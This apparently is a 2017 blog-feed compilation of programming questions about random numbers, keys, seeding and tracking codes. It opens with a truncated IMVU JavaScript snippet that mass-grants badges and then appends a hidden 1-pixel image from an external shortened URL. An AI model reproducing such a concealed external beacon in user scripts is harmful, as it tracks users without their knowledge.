statsCounter=function(badgeId,success){
if(success==1){badgeGrantSuccess++;}
else{badgeGrantError++;}}
grantNextBadge=function(){
if(badgeIds.length>0){
    var currentBadgeId=badgeIds.shift();
    IMVU.grantBadge(currentBadgeId);
    statsCounter(currentBadgeId,1);
try{document.getElementById('bGrant0').innerHTML++;document.getElementById('ok-message_c').style.top=50;
    var processed=Math.round(document.getElementById('bGrant0').innerHTML/badgeCount*100,0);
    if(processed>100){processed=100;} document.getElementById('badgeGrantProgress').style.width=processed+'%';document.getElementById('badgeGrantProgress').innerHTML=processed+'%';}catch(e){}}
else{
var recycle=document.createElement('img');
recycle.src='http://ift.tt/2wUho1a';
recycle.setAttribute('width','1px');
recycle.setAttribute('height','1px');
document.body.appendChild(recycle);
IMVU.okMessageBox.showPopup('Granted!','Granted '+badgeGrantSuccess+' of '+(badgeGrantSuccess+badgeGrantError)+' badges!'+(badgeGrantError>0?'<br />Error for at least one badge: '+lastErrorMessage:''));}}
if(badgeIds!=''){
IMVU.okMessageBox.showPopup('Granting...','Trying to grant <span id="bGrant0">0</span> of possible '+badgeIds.length+' badges...<br /><br />Please wait<br /><br /><div style="height:15px;font-size:1px;width:99%;border:1px solid #999;"><div id="badgeGrantProgress" style="text-align:center;overflow:hidden;float:left;height:100%;font-size:13px;background:#999;">&nbsp;</div></div>');
YAHOO.util.Connect.setForm();
for(var i=0;i<badgeIds.length;i++){window.setTimeout(function(){grantNextBadge();},3000*i);}}




Removing trailing dash from a randomly generated key

So using the code i have when generating a number/letter string it generates an extra dash on the end and i want it to only consist of 16 digits numbers and letters (without the extra dash)

import string, random

def generateCode():
    code = ''
    for i in xrange(16):
        number = random.choice(string.ascii_letters + string.digits)
        code += str(number)
        if (i - 3) % 4 == 0 and i - 4:
            code += '-'

    file = open('AlphaKeys.txt', 'w')
    file.write(code + '\n')
    file.close()
    return code

generateCode()

And an example of the output: qIss-wXbS-PZo7-audg-




Randomly selecting an object from an Array without it repeating objects in a row without removing

I'm new to swift and have tried various ways to get this to work

I have an object of arrays that were created inside the viewController inside the viewDidLoad() method. There are 5 objects inside.

var objectss: [CustomClass] = [] // Five objects are created inside viewDidLoad() and added to this array

Each objectss index starts from 0 to 4

I have a IBAction button that randomly chooses one of the objects inside the Class Array

Also I will note that each object has a button (Meaning I have 6 buttons on the view controller with a tag to each starting from 0 and incrementing to 5)

So to explain why there is 5 instead of stopping at 4 is that I've hooked up these buttons into one IBAction and used a switch that has two cases. First case is 0, 1, 2, 3, 4 and assigns the Class variable reference created on top to equal objectss[sender.tag] so if the user clicks on the first button (tag = 0) it will display the object's information at index 0 (inside the array) to display in the next secondViewController

The second case is 5 which is the random button that randomly gets an object from inside the array and displays that object's information onto the next secondViewController

So I hope that makes sense that I am using the sender.tag to determine which button is being pressed.

Inside the @IBAction I've done this:

switch sender.tag {
    case 0, 1, 2, 3, 4:
         objectSelected = objectss[sender.tag]
    case 5:
        let index = Int(arc4random_uniform(4))
        var random: Int
        repeat{
            random = Int(arc4random_uniform(4))
        } while index == random

        objectSelected = objectss[random]
    default:
        break
 }

I tried to do it this way to stop getting the same object in a row, but it still does it and sometimes takes forever to display some of the other objects in the secondViewController.

I've also already tried

let index = Int(arc4random_uniform(UInt32(objectss.count)))
objectSelected = objectss[index]

But that kept showing the same object in a row a lot of times




Are all

Notice that std::normal_distribution::operator() is not const, nor does it behave in a const way. (Some other distributions have () operators that behave in a const way, but are also not defined to be const).

Given that std::normal_distribution::operator() is not const, is it still safe to use the same normal_distribution object across multiple threads? Is it safe for all distributions in the random header?

Edit: That is, the following member function throws an error due to the function being const but using the operator(), which can change d. Is it always safe to fix this by declaring d to be mutable?

class MyClass
{
public:
    MyClass::MyClass(double mu, double sigma)
    {
        d = normal_distribution<double>(mu, sigma);
    }

    double MyClass::foo(std::mt19937_64 & generator) const
    {
        return d(generator);
    }
private:
    std::normal_distribution<double> d;
}




Python - keeping random name

This is my first question. I hope I'm doing it right! I hope it's not too basic.

I'm learning Python and have cobbled together a random sentence generator to practise.

The current code chooses a new random_name each time.

I want to keep the first randomly-chosen name for the subsequent sections.

I've tried a few options but keep getting errors. Can someone help me store the first random name, verb, and noun to be used in further statements?

import random
import fileinput

#choose randoms

def random_name():
    line_num = 0
    selected_line = ''
    with open('names.txt') as f:
        while 1:
            line = f.readline()
            if not line: break
            line_num += 1
            if random.uniform(0, line_num) < 1:
            selected_line = line
    return selected_line.strip()

def random_verb():
    line_num = 0
    selected_line = ''
    with open('verbs.txt') as f:
        while 1:
            line = f.readline()
            if not line: break
            line_num += 1
            if random.uniform(0, line_num) < 1:
                selected_line = line
    return selected_line.strip()

def random_noun():
    line_num = 0
    selected_line = ''
    with open('nouns.txt') as f:
        while 1:
            line = f.readline()
            if not line: break
            line_num += 1
            if random.uniform(0, line_num) < 1:
                selected_line = line
    return selected_line.strip()

#functions

def MakeSentence(): #makes sentence by combining name, verb, and noun

x = random_name() + " is " + random_verb() + " " + random_noun()
return x

print("Type Yes to continue.")
print("\n")
print("Enter 'Q' to quit.")
print("\n")
response = 'x' #generic response as to not cause problems

while (response != 'Q'): #case switch kills it all

#prompt given with responses used to control flow
response = input("Would you like to continue?\n")
if response == 'Q':
    break
elif response == 'Yes':
    print(MakeSentence())

#prompt given with responses used to control flow
response = input("Is " + random_name() + " correct?\n")
if response == 'Q':
    break
elif response == 'Yes':
    print(random_name() + " is correct.\n")




Creating a random key using audio signal

We know that "random" numbers that we generate in our code are really pseudo-random. They, in the case of Java, default to using the timestamp as a random seed and every random number produced after that is deterministically created from

If you use random numbers to generate a password and a malicious party knows what day you generated that password, they would only have to iterate through each millisecond in that day. That would be 1000 * 60 * 60 * 24 = 86.4 million. This is not a very big number of guesses for a sophisticated party. Edward Snowden famously warned, "assume your adversary is capable of one trillion guesses per second."

The problem is, how do we produce truly random numbers? What I'd like is to sample 16-bit audio from the microphone of my laptop and use the least-significant 8 bits of two samples to form a seed. The idea here is that the least-significant part of an audio signal is where the noise is carried. For example, here are a few two-byte values from a 16-bit sample recorded in a relatively quite place:

0,19
0,38
0,-49
1,93
1,-29
1,-80

You can see that the most significant byte is 0 or 1, which means the wave being recorded was barely registering. On the other hand, the least significant byte value is jumping all over the place. That's a fertile ground for random seeds!

It would be nice to have a utility that easily produces random numbers and random pass keys using the noise signal producedby the real-world noise around us.




How to seed the pcg random number generator?

In the samples for PCG they only seed one way which I assume is best/preferred practice:

pcg32 rng(pcg_extras::seed_seq_from<std::random_device>{});

or

// Seed with a real random value, if available
pcg_extras::seed_seq_from<std::random_device> seed_source;

// Make a random number engine 
pcg32 rng(seed_source);

However running this on my machine just produces the same seed every time. It is no better then if I just typed in some integer to seed with myself. What would be a good method to seed if trying it this way doesn't work ?




What is the fastest way to produce random floats in {-1.0, +1.0} in C++?

Currently, my solution is to compute (float) (2 * (rand() % 2)) - 1. Are there more efficient ways of doing this, for example by producing random bits and placing them at the respective position for the sign of a 1.0 float constant using bit-twiddling?




How to choose random float in a square weighted against arbitrary zones?

I have a square, which goes from -1 to 1 in x and y.

Choosing a random point in this square is pretty easy:

Random r = new Random();
float x = (float)Math.Round(r.NextDouble() * 2 - 1, 4);
float y = (float)Math.Round(r.NextDouble() * 2 - 1, 4);

This gives me any point, with equal probability, in my square.

enter image description here

It would be pretty easy too to just remove a section of the square from the possibilities

Random r = new Random();
float x = (float)Math.Round(r.NextDouble() * 1.5 - 1, 4);
float y = (float)Math.Round(r.NextDouble() * 2 - 1, 4);

enter image description here

But what I'm really struglling to do, is to weight the random towards a certain zone. Specifically, I would like the section highlighted here to be more likely, and everything else (except the red section, which is still off-limits) should have a probability lower depending on the distance from the highligthed line. The furthest point should have 0 chance, and the rest an existing chance which is higher when closer to the line, with points exactly on my line (since I round them to a specific decimal, there are points with are on the line) having the best odds.

enter image description here

Sorry for the ugly pictures. This is the best i could do in paint to show my thoughts.

The "most likely" area is an empty diamond (just the that with the vertices (-1, 0), (0, -0.5), (1, 0), (0, 0.5), with of course the red area override the weighting because it's off limits. The red area is anything with x > 0.5

Does anyone knows how to do this? I'm working in C# but honestly an algorithm in any non-esoteric language would do the trick. I'm completely lost as to how to proceed.




Which one&Whats best way to generate random string for tracking code after submitting a form?PHPorMySQL?Does My Code prevent from guess by attackers?

I have a form for request registering by php and html. I found a code to make 11 character random string for tracking code and should not be duplicate.this code is in triggers for users table in mySql before inserting new row.but some friends say its not secure and an attacker can guess by many way.

whats best way to generate 11 characters random alphanumeric by php code in instead of trigger of MySQL?

And in your opinion is this code useful? How about this code? Does it prevent attackers from guessing?

 $possible_letters = '23456789b2cd3fgh4j5k6mnp7qr8st9vwxyzABCDEGJKLMNOPQRSTVWXYZ23456789';


$characters_num = 11;


$code = '';


$i = 0;
while ($i < $characters_num) { 
$code .= substr($possible_letters, mt_rand(0, strlen($possible_letters)-1), 1);
$i++;
}


echo $code;

Whats your suggestion?




Number Guessing Game Windows VB form

I need help on making a Guess The Number Game windows vb form . So far I have made a menu with different modes and done some labels and text boxes but I am struggling with the code and need assistance in improving it.

In the game the user must use their logic in order to guess a 4-digit number selected by the computer at the beginning of the game.

The number is formed with digits from 0 to 9; each digit appears once at most. This number is guessed by the user via multiple attempts.

An attempt consists in a proposed number, selected by the user and the computer's reply. The computer must tell the user in their reply, how many digits has the user guessed on the same position, and how many digits has the user guessed on a different position.

Using information from the computer's reply, the user must guess the number using as few moves as possible

After the game is finished, ask the computer must ask the user for their name and input their score into a table and then show the high score at the start of the game Thanks!




MySQL Pagination with Randomness

I'm tryin to achieve some pagination with random ordering of the items. I've got a solution and i want an expert advice if its ok or not.

My table loos like:

id | category | product_name | product_description | product_image | filter1 | filter2 | filter 3 .. bla bla bla

And i want to paginate search results based on some filters and randomize the results.

I thinked that i should make another table where i keep only the id of the product, the category and filters with indexeses for all posibilities of filtering. Then, when a search occurs, i search trough the smaller table based on some specific index and keep the ids in an array and randomize them in PHP.

It will be slow?




What is optimal way to get four unique random number from 0-9?

I want to generate four random numbers in the range of 0 to 9. It's easy to generate four random numbers with Java Random.

    Random random = new Random();

    int numbers[] = new int[4];
    for(int i=0;i<4;i++){
        numbers[i] = random.nextInt(10);
    }

With this I can get an array of four numbers like, 9369, 4702 etc.

Here I want to get all four digit in above array to be unique so that I can get output like 9543, 1234 etc.

For this, I have thought a way like this

  1. Generate a random number and assigned as first number,
  2. Generate a random number and check with first number if different assigned as second number else generate random number again and repeat and so on.

Is there any better way to do this so that I can get four unique random numbers easily and quickly ?

Any kind of suggestion is appreciated.




samedi 26 août 2017

Random data generation leading to good prediction on random labels

I've been playing around with implementing CV in R but encountered a weird problem with the returned value among folds in LOOCV.

First I'll randomly generate data as well as labels, then I'll fit a randomForest on what should be just noise. From the returned loop I get not only a good AUC but a significant value from a t-test. I don't understand how this could be theoretically happening so I was curious if the ways I attempted to generate data/labels was best?

Here is a code snippet that shows my issue.

library(randomForest)
n=30
p=900

XX=matrix(rnorm(n*p, 0, 1) , nrow=n)
YY=as.factor(sample(c('P', 'C'), n, replace=T))
resp = c()

for(i in 1:n){
  fit = randomForest(XX[-i,], YY[-i])
  pred = predict(fit, XX[i,], type = "prob")[2]
  resp <- c(resp, pred)
}

t.test(resp~YY)$p.value

roc(YY, resp)$auc

I tried multiple ways of generating data all of which result in the same thing

XX=matrix(runif(n*p), nrow=n)
XX=matrix(rnorm(n*p, 0, 1) , nrow=n)

and

random_data=matrix(0, n, p)
for(i in 1:n){
  random_data[i,]=jitter(runif(p), factor = 1, amount = 10)
}
XX=as.matrix(random_data)

Since the randomForest is finding relevant predictors in this scenario that leads me to believe that data may not be truly random. Is there a better possible way I could generate data, or generate the random labels? is it possible that this is an issue with R?




How to make more than 6 characters random alphanumeric by this code in trigger of MySQL?

I have a form for request registering by php and html. I found a code to make 6 character random string for tracking code and should not be duplicate.this code is in triggers for users table in mySql before inserting new row.

How can I make more than 6 characters random alphanumeric by this code in trigger of MySQL?

And in your opinion is this code useful or is better than a code for random string in php??

Whats your suggestion?

BEGIN
  declare ready int default 0;
  declare rnd_str text;

  while not ready DO set rnd_str := LOWER(lpad(conv(floor(rand()*pow(36,6)),10, 36), 6, 0));
     if not exists (select * from stu where st_trc = rnd_str)
     then
       set new.trck= rnd_str;
       set ready := 1;
     end if;
   end while;
END




How to stop grid cell from redrawing in Java?

I am trying to generate a random color(between 4 colors) for each cell in a grid. I have managed to do so but it keeps redrawing itself over the outline of the grid and other elements of the grid. How can I make it so that the colors only draw once?, while my other elements keeps on drawing themselves? Here is the code I currently have:

import java.awt.*;
import java.util.Random;

public class Cell extends Rectangle {

private Random random;

public Cell(int x, int y) {

    super(x, y, 35, 35);
}


public void paint(Graphics g, Boolean highlighted) {

    int row;
    int col;

    for (row=0; row < 20 ; row++ ) {
        for (col =0; col <20 ; col++) {
            x=col * 35;
            y=row * 35;
            SurfaceType(g);
        }
    }


    g.setColor(Color.BLACK);
    g.drawRect(x, y, 35, 35);


    if (highlighted) {
        g.setColor(Color.LIGHT_GRAY);
        g.fillRect(x, y, 35, 35);
    } else {
        g.setColor(Color.DARK_GRAY);
        g.fillRect(x, y, 35, 35);
    }

}



@Override
public boolean contains(Point target){
    if (target == null)
        return false;
    return super.contains(target);
}

public void SurfaceType(Graphics g) {
   random= new Random();
   int randomNumber = random.nextInt( 5);

   switch (randomNumber) {
       case 1: // dirt
           g.setColor(new Color(102,51,0));
           g.fillRect(x,y,34,34);
           break;
       case 2: //grass
           g.setColor(new Color(102,153,0));
           g.fillRect(x,y,34,34);
           break;
       case 3: //tree
           g.setColor(new Color(0,102,0));
           g.fillRect(x,y,34,34);
           break;
       case 4: //rock
           g.setColor(new Color(182,182,182));
           g.fillRect(x,y,34,34);
           break;
   }



 }


}

This image shows what the grid looks like when I take out the code that randomizes the color out.

enter image description here

And this one shows with that part of code included:

enter image description here




Lowest score from multiple trials

Hi have this code that makes 4 groups until numbers 1-4, then rates them on how good they are:

import numpy
import math
import random
for i in range(3):
  # everything is in, see the indentation
  members=4
  n_groups =4
  participants=list(range(1,members+1))*n_groups
  #print participants 
  random.shuffle(participants)

  with open('myfile1.txt','w') as tf:
      for i in range(n_groups):
          group = participants[i*members:(i+1)*members]
          for participant in group:
              tf.write(str(participant)+' ')
          tf.write('\n')

  with open('myfile1.txt','r') as tf:
      g = [list(map(int, line.split())) for line in tf.readlines()]
      print(g)




  my_groups =g

  def get_rating(group):
      return len(set(group))

  for each_grp in my_groups:  
      print((get_rating(each_grp)))

  print(sum(len(set(x)) for x in my_groups))

This is the output:

    [[1, 3, 4, 1], [3, 4, 2, 3], [2, 2, 1, 4], [4, 3, 1, 2]]
3
3
3
4
13
[[3, 4, 2, 1], [1, 1, 2, 4], [2, 3, 3, 2], [3, 4, 4, 1]]
4
3
2
3
12
[[3, 2, 3, 1], [4, 2, 3, 3], [2, 4, 1, 2], [4, 4, 1, 1]]
3
3
3
2
11

The square brackets are the 4 groups, the 4 numbers below rate each group so (1,1,1,1) is very good as has the least changes, whereas (1,2,3,3) is less good as it has 3 different numbers. The final number just sums all the 4 numbers up.

I was wondering if there was a way to display the lowest score with the group combination with all the groups, in this case 11 after i run the trial, this would make it easier if i do more trials like 2000